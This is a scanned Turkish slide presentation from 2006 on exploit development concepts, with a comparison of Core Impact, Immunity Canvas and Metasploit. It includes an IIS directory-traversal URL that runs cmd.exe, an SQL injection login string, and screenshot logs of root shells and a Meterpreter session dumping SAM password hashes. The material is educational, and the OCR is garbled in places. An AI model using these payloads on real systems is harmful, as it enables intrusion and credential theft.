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Sunum lcerigi gamasec

> Exploit Kavram

» Exploit Gelistirme Sureci
» Butunlesik Gelistirme Ortamlar

> Onerilen Yazilimlar ve Cozumler
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Exploit “gamasec

Bir guvenlik acigim kullanarak normal-disi bir
islem yapilmasini saglayan yontem veya yazilim

> http://sunucu/scripts/..%c0%af../winnt/system
32/cmd.exe?/c+dir

» http://sunucu/login.asp?uid=*‘ OR 1=1
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Diger Kavramlar gamasec

» Payload
> Exploit sonrasi calistirilacak ve normal-disi islemi yapacak
icerik
» Shellcode

» Exploit sonrasi calistirilacak platforma ozel binary’ler

» NOP

> “Not Operation”, islevsiz veya bellek yeri 6grenme amacli
bellek dolduran bitler

> Encoder

> Calistinlacak Shellcode’u degistiren ve IDS’ler tarafindan
yakalanmasini onleyen yazilimlar
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Exploit Yapisi "'gani@

Shellcode/Payload
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Exploit Yasam Cevrimi gamasec

Guvenlik
Aciginin
Bulunmasi
Exploit’in 0 Gun
Ozellestirilebilir Exploit’inin
Hale Gelmesi Hazirlanmasi
Genel Glivenlik
Exploit’in Ac1ginin
Yayinlanmasi DuyhrulmaSI
Exploit’in Teknik Analiz ve
Hazirlanmasi Cozumleme
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Genel Exploit’lerin “‘gamasec
Ozellikleri

» Cok farkli programlama dillerinde sunulabilirler
(binary,c,c++,perl,lisp,python)

> Acigin tek veya ozel bir kullanimi lzerine
gelistirilmis olabilirler (..%c0%af.. veya
.. 5c0%qf..)

> Payload/Shellcode degeri ozellestirilemeyebilir
(binary, acik hakkinda kisitli bilgi)

» Kod kirli veya kotu niyetli yazilmis olabilir
> Herkesce kullanildigi icin onlem alinmis olabilir

@ 2006 Fatih Ozavci, Her Hakki Saklidir



Kim Kendi Exploit’ine “gamasec
Ihtiyac Duyar

> Tetkikciler

» Danismanlar

» Yazilim veya Donanim Testi Yapanlar

» Sistem Yoneticileri

> Guvenlik Acig1 Gelistiricileri
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Exploit Gelistirme Siireci “amasec

Guvenlik
Aciginin
Farkli Payload Duyurulmasr Teknik Analiz

Kullanimina Hazir ve Cozumleme
Hale Getirilmesi

Exploit’in Acik Atlama
Ozellestirilebilir Noktalarinin
Hale Gelmesi Belirlenmesi
Farkli Platform Cozumleme
ve Programlara Yapilarak
Uyarlanmasi Normal-Dis1 Islem
Exploit’in Yapilmasi

Hazirlanmasi
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Hangi Araclar Kullamlir ~ ™9amasec

> Acik Bulunan Yazilimin Ornegi !?
» Fuzzer

» Encoder

> HEX Editorler

» Binary Analiz Araclan

» Debugger

> Paket Yakalayicilar

» Protokol Cozumleyiciler

» Yorumlayicilar / Derleyiciler
> Shellcode’lar

» SQL Sorgulan
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Butiinlesik Gelistirme “‘gamasec
Ortamlari

> Exploit ve Payload ayrimi

» Hazir ve kodu acik Exploit’ler

» Binary analizi icin yardimci araglar

» Hazir Payload veya Agent’lar

> Grafik arabirim ile “tikla ve gir” kolaylig
» Hazir fonksiyonlar ile daha az Exploit kodu
» Kategorizasyon ve analiz arabirimleri

» Hazir Recon’lar ile bilgi toplama

> Yerel, yetki yukseltimi amacli Exploit’ler
» 0 gun Exploit’leri
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Gelistirme Ortamn “‘gamasec
Alternatifleri

» Core Technologies - Core Impact
» Immunity Security - Immunity Canvas
» Metasploit Project - Metasploit Framework

» Security Forest Exploitation Framework
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Core Impact gamasec

» Basarili grafik arabirim

» Cok sayida uzak ve yerel Exploit

» Recon ve Exploit’ler python ile yazilmis ve kodu acik
» Payload olarak “Core Agent” kullaniliyor

> InlineEGG ile Shellcode olusturma

> Yerel Exploit’ler ile “Agent” yetkileri
yukseltilebilmekte

> Ele gecirilen sistemler uzerinden Exploit calistirabiliyor

» Harici araclar ve rapor uretme yetegi ile tam bir
denetim araci olmay1 hedefliyor
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ore Impact gamasec)
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. | | §192.168.36.15 Executed Module Info
Ll Privilege Escalation = .
? ® [ 192.168.36.23 Attack and Penetration I
Clean Up 34 192.168.36.26
= ] Cil19z,168.56.28 Exploit candidates for /192.168.36.23/192.168.36.15 | —
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* Attack and Penetration =
[ ™Module Properties
Brief: This module autormatically selects and launchs attacks,
Cakteqory: RPT
Author: CORE Security Technologies
Version: 1.57.2.2
Description: This module helps vou automatically select and launch remote attacks based on previously acquired information. The Attack and Penetration step
utilizes previously acquired information about the network (For instance, by running the Information Gathering step) to automatically select and
launch remote attacks,
“g Far each target host, this macro requires the Following information all this information is obtained automatically by the Information Gathering
= step):
= Jid
[ 4
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Immunity Canvas gamasec

» Basarili grafik arabirim

» Kaynak kodu acik olarak satiliyor

» Cok sayida yardimci arac, uzak ve yerel Exploit

» Recon ve Exploit’ler python ile yazilmis ve kodu acik
» Payload olarak “Canvas Agent” kullaniliyor

> Yerel Exploit’ler ile “Agent” yetkileri
yukseltilebilmekte

» Harici firmalar tarafindan gelistirilen 0 gun
exploit’lerini kullanabiliyor (Gleg Ltd. Vuln Disco)
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Immunity Canvas “‘gamasec)

*  Immunity CANVAS (http:/fwww.immunitysec.com/CANVAS) - B
Action  Hellum  Listeners Logging  Network Dump  Hosis
Current Local IP Address: | 192.168.1.101 |

MName [Descnpﬂun [+] References: hl‘tp:_ﬁl’kfnﬁ:e.|5.;:;EUEJEI15||'HE§F|5-EJ.01.FIIIFI http:/fwww.kb.cert.org,

CVE Name: CVE-2001-0803
= Current Antacks against the current host Date public: Nov 06, 2001

cachefsd_lpd cachefsd .cfs_mnt File Stack Ovedlow (requires in.lpd for file upload) CERT Advisary: hitp:/fwww.cen.org/advisones, CA-2001-31.html
cmsd_xdramay rpc.cmsd xdr_array heap overflow

dispcd heap overflow

[«] 0
in_pd inlpd command execution (Solans 8)
kems_semver  kems_server file retdeval |'D Ismus |Infnlmanm |
portscan PartEcannat 0 DBEBE Scanming 192.168.1.101 (done)
pcdump SunRPC Dumper 1 DB08D Scanning 192.168.1.25 (done)
sadmind Sadmind Remote Exploit for Solars 2 D0OED disped attacking 192.168.1.25:6112 (succeeded)
samba_ntirans Samba Nitrans COverflow 3 008 Shell at [(192.168.1.25' 6112]]

samba_trans2 Samba Trans2 Stack Overflow [~ I EE R T R — = X
snmpXdmid snmpXdmid Buffer Overflow Download hmi' Browse | Go
sunlogin Solaris Login Overflow Upload _ Browse | Go
sunlogin_pamh Solans Login pamh Owverflow cd Go
ndb_xdrarray  rpc.tidbserverd xdr_aray Heap Overflow Spawn Process | Go
[ Exploits CANVAS Exploit Modules e o
exploit log !dehug infnlmallunl pawd (Gets Current Working Directory) Go
istener id 3 rancommand( retumed uid=0(root) gid=0{roat) Piped Command | Go||=
Doing command on listener id 3 wnilink Co
NWVAS ENGINE Popeni) onid 3 A =
istener id 3 runcommand() returned owned! ommand *id -a* returned: “uid=0{root) gid=0iroot)* |ES
ommand *echo “owned!™ retumed: “owned|* o

Host los  |staws |

192,168, 1.101 Linux Mot owned
192.168.1.25 Solasis 8 Mot owned

A5 Reliable as Possible Covertness Bar As Covert As Possible
|
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Metasploit Framework “‘gamasec

» 2.x (GPL) ve 3.x (Non-commercial) olarak iki ayr1 surumu
bulunmakta

138+ istemci/sunucu exploit ve 75+ payload bulunuyor
Cok farkli turde payload’lar kullanilabiliyor

» Agent (Meterpreter)

» VNC DLL Injection

> Shellcode Uretimi (Shell Bind, Reverse, FindSock)

> Binary Upload
Cok sayida farkli encoder kullanilabiliyor

> Alpha2, Pex, Shikata Ga Nai, Sparc, OSXPPCLongXOR

Konsol, web ve seri arabirimleri bulunuyor, 3.x grafik arabirime de
sahip olacak

Acik kaynakli her seye entegre edilebiliyor (InlineEgg)

En guclu ozelligi Post-Exploitation yetenekleri (Meterpreter, VNC
DLL Injection, Anti-Forensic, Process Migration vb.)

VYV VYV

VV VYV V¥V
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Metasploit Framework “‘gamasec

exploit{windows Adcerpcsmsl3_B26_dcom} > exploit

Started reverse handler

Trying target Windows NT SP3I—-6a-Z2000-5P-2003 Universal...

Binding to 4d?f4ab8—7dic—1icf-86le—-B88208af6te?c5Y-0.00ncacn_ip_tcp:127.8.8
Bound to 4d?f4ab8—-7dic—11cf-861e—-B820af6e?cS7:8.Bfncacn_ip_tocp:127.8.8.1
sending exploit ...

Sending stage (2834 huytes>

£leeping before handling stage...

Uploading DLL <73739 hytes>»...

Upload completed.

Meterpreter session 1 opened (18.254.8.4:4444 —> 10.172.69.14:3113>

1[1234?] -

(123471 ...

Loading extenzion stdapi...success.

meterpreter > use priv
Loading extenzion priv...success.

Guest:561: aad3h435h514ﬂ4eeaad3h435h51434&& 31dﬁcfeBdi6&&931h?3c59d?eﬂc389cﬂ:::
HelpAzszistant:1000:787feZf f8hfdbacd36f1f167826628fd:a42a0141890f2998312ffcdlcdBfddde:-:
SUPPORT _388745a8:1002:aad3b435hbh1484eeaad3ib43bhhi484ee:d3130169356f 4dceddef BabZ2fhh%cle?B: o

[] Eendlng 124 hyte payluad...

[#] Sending stage <2838 hutes>

[#] S8leeping before handling stage...

[=1] Staptlng IRB shell [#]1 Uploading DLL <73739 hutes>...
[#]1 The *‘client’ variahle holds t[*] Upload completed.

[#] Trying to use connection...
client.priv.zam_hashes[31.nt1lm[*] Meterpreter session 1 opened <18.2054.8.4:59368 > 18.254.8.4:12345)
"d3133169356f4ce4def8a52fh59c1[*1 Started logging session interaction.
client. pp]_u Sam_haghgg[:;] uggp[*] Session 1 created in the hackgruund.

"SUPPORT _388945a@~085"" msf exploit{test/multisagqgqressiver > session —1
client.ui.idle_time
458 Active sessions
client_fz._dir.entries
=» ["AUTOEXKEC._BAT'. *"baserand', " T
“personal', "Program Filesz', "RE Id Description Tunnel

*» client.sys.process.processes [A i
=» {"name"=3"=mssz.exe", "pid"=347 Heterpreter 10.254_A_4:593608 —> 18.254_ 8.4:12345

> 1

exploit{test/multi/aggressive? » session —-i 1
Starting interaction with 1...

meterpreter > use stdapi
Loading extension stdapi...success.

meterpreter >
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Karsilastirma Tablosu

“"gamasec

Ozellikler Core Impact Immunity Canvas Metasploit Framework
Isletim Sistemi Windows Windows / Unix Windows / Unix
Grafik Kullanici Arabirimi Var Var 2.x Yok /3.x Var
Script Dili Python Python 2.x Perl / 3.x Ruby
Ag Haritalama Var Var 2.x Yok / 3.x Planlaniyor
Istemci Exploit’leri Var Var Var
Yerel Exploit’ler Var Var Yok
Web Exploit’leri Yok Yok Yok
Payload Kullanimi Agent / InlineEgg Agent Meterpreter/Shellcode/VNC
Encoder Kullanimi Yok Yok Var

Exploit Sonrasi Baglanti

Bind/Reverse/Re-use

Bild/Reverse/Re-use

Bild/Reverse/FindSock

Agent Ustlinden Saldiri

Var

Yok

Meterpreter / SocketNinja

Otomatize Exploit islemi Var Var Yok
Raporlama Var Yok Yok
Diger Araglarla Entg. Var Var 2.x Yok / 3.x Planlaniyor
Harici Geligtirme Araglari Yok Yok Var
Anti-Forensic Ozellikleri Yok Yok Var

Fiyat ~25.000 USD 10 Kul. ~2.000 USD Ucretsiz
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Baglantilar ve Referanslar ~ ™gamasec

Core Technologies (http://www.coresecurity.com)
Immunity Security (http://www.immunitysec.com)
Metasploit Project (http://www.metasploit.org)

Security Forest Project (http://www.securityforest.com)
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Tesekkdirler....
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